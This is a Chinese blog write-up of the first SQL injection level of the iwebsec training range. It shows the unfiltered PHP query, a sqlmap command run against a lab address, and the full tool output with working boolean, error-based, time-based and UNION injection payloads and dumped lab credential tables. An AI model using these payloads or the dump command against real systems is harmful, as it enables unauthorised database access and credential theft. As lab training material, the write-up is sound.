• iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入


    目录

    文章目录

    前言

    第01关 数字型注入

    1.源码分析

    2. sqlmap渗透

    总结



    前言

    iwebsec靶场的SQL注入关卡共13关SQL注入漏洞,覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入,外加上二次注入,是SQL注入知识点覆盖较为全面的一个靶场。


    第01关 数字型注入

    打开靶场,url为 http://192.168.71.151/sqli/01.php?id=1 如下所示

    1.源码分析

    如下所示,对传入的参数id并未进行过滤。

    sql语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

    故而存在数字型注入

    2. sqlmap渗透

    基于iwebsec靶场的SQL注入笔记主要以sqlmap工具自动化渗透为主,故而渗透时使用sqlmap工具,命令如下

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
    

     如下所示注入成功,发现union query查询的数字型注入

     完整交互如下

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
    2. ___
    3. __H__
    4. ___ ___[)]_____ ___ ___ {1.5.11#stable}
    5. |_ -| . [,] | .'| . |
    6. |___|_ [']_|_|_|__,| _|
    7. |_|V... |_| https://sqlmap.org
    8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9. [*] starting @ 21:20:12 /2022-11-24/
    10. [21:20:13] [INFO] testing connection to the target URL
    11. [21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
    12. [21:20:13] [INFO] testing if the target URL content is stable
    13. [21:20:13] [INFO] target URL content is stable
    14. [21:20:13] [INFO] testing if GET parameter 'id' is dynamic
    15. [21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
    16. [21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
    17. [21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
    18. [21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
    19. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    20. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    21. [21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    22. [21:20:13] [WARNING] reflective value(s) found and filtering out
    23. [21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    24. [21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
    25. [21:20:14] [INFO] testing 'Generic inline queries'
    26. [21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    27. [21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    28. [21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    29. [21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    30. [21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    31. [21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
    32. [21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    33. [21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    34. [21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    35. [21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
    36. [21:20:14] [INFO] testing 'MySQL inline queries'
    37. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
    38. [21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
    39. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
    40. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
    41. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
    42. [21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
    43. [21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
    44. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    45. [21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
    46. [21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    47. [21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    48. [21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    49. [21:20:24] [INFO] target URL appears to have 3 columns in query
    50. [21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
    51. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    52. sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
    53. ---
    54. Parameter: id (GET)
    55. Type: boolean-based blind
    56. Title: Boolean-based blind - Parameter replace (original value)
    57. Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
    58. Type: error-based
    59. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    60. Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    61. Type: time-based blind
    62. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    63. Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
    64. Type: UNION query
    65. Title: Generic UNION query (NULL) - 3 columns
    66. Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
    67. ---
    68. [21:20:24] [INFO] the back-end DBMS is MySQL
    69. web server operating system: Linux CentOS 6
    70. web application technology: Apache 2.2.15, PHP 5.2.17
    71. back-end DBMS: MySQL >= 5.0
    72. [21:20:24] [INFO] fetching current database
    73. current database: 'iwebsec'
    74. [21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    75. [21:20:24] [INFO] fetching current database
    76. [21:20:24] [INFO] fetching tables for database: 'iwebsec'
    77. [21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    78. [21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    79. Database: iwebsec
    80. Table: xss
    81. [5 entries]
    82. +----+------------------------------------+
    83. | id | name |
    84. +----+------------------------------------+
    85. | 7 | |
    86. | 6 | |
    87. | 5 | |
    88. | 1 | iwebsec |
    89. | 8 | |
    90. +----+------------------------------------+
    91. [21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    92. [21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
    93. [21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
    94. Database: iwebsec
    95. Table: users
    96. [1 entry]
    97. +-------+-------------+----------+
    98. | role | password | username |
    99. +-------+-------------+----------+
    100. | admin | mall123mall | orange |
    101. +-------+-------------+----------+
    102. [21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    103. [21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
    104. [21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
    105. Database: iwebsec
    106. Table: user
    107. [3 entries]
    108. +----+----------+----------+
    109. | id | password | username |
    110. +----+----------+----------+
    111. | 1 | pass1 | user1 |
    112. | 2 | pass2 | user2 |
    113. | 3 | pass3 | user3 |
    114. +----+----------+----------+
    115. [21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    116. [21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    117. [21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    118. Database: iwebsec
    119. Table: sqli
    120. [7 entries]
    121. +----+-----------------------+----------+------------------------------------------------------+
    122. | id | email | password | username |
    123. +----+-----------------------+----------+------------------------------------------------------+
    124. | 1 | user1@iwebsec.com | pass1 | user1 |
    125. | 2 | user2@iwebsec.com | pass2 | user2 |
    126. | 3 | user3@iwebsec.com | pass3 | user3 |
    127. | 4 | user4@iwebsec.com | admin | admin |
    128. | 5 | 123@123.com | 123 | 123 |
    129. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    130. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    131. +----+-----------------------+----------+------------------------------------------------------+
    132. [21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    133. [21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    134. [21:20:24] [WARNING] your sqlmap version is outdated
    135. [*] ending @ 21:20:24 /2022-11-24/

    实际上在进行注入时,选择的命令是--current-db --dump这样就可以将当前数据库的内容全部打印出来,相对而言更加快捷。


    总结

    SQL注入主要分析几个内容

    (1)闭合方式是什么?iwebsec的第一关关卡为数字型,无闭合

    (2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

    (3)是否过滤了关键字?很明显通过源码,iwebsec的数字型关卡无过滤任何信息

    了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

  • 相关阅读:
    5个节约生命的Python小技巧
    自动化防火墙放行目标域名IP
    YOLOv7训练自己的数据集
    小新air14 2020 i5-1035G1完美黑苹果
    企业如何选型iPaaS平台
    简单了解一下:Node全局对象和事件监听和触发
    使用Intellij IDEA远程debug服务器Java代码
    【工程光学】典型光学系统
    Node.js -- fs模块
    【软件测试】一位优秀测试工程师具备哪些知识和经验?
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/128033174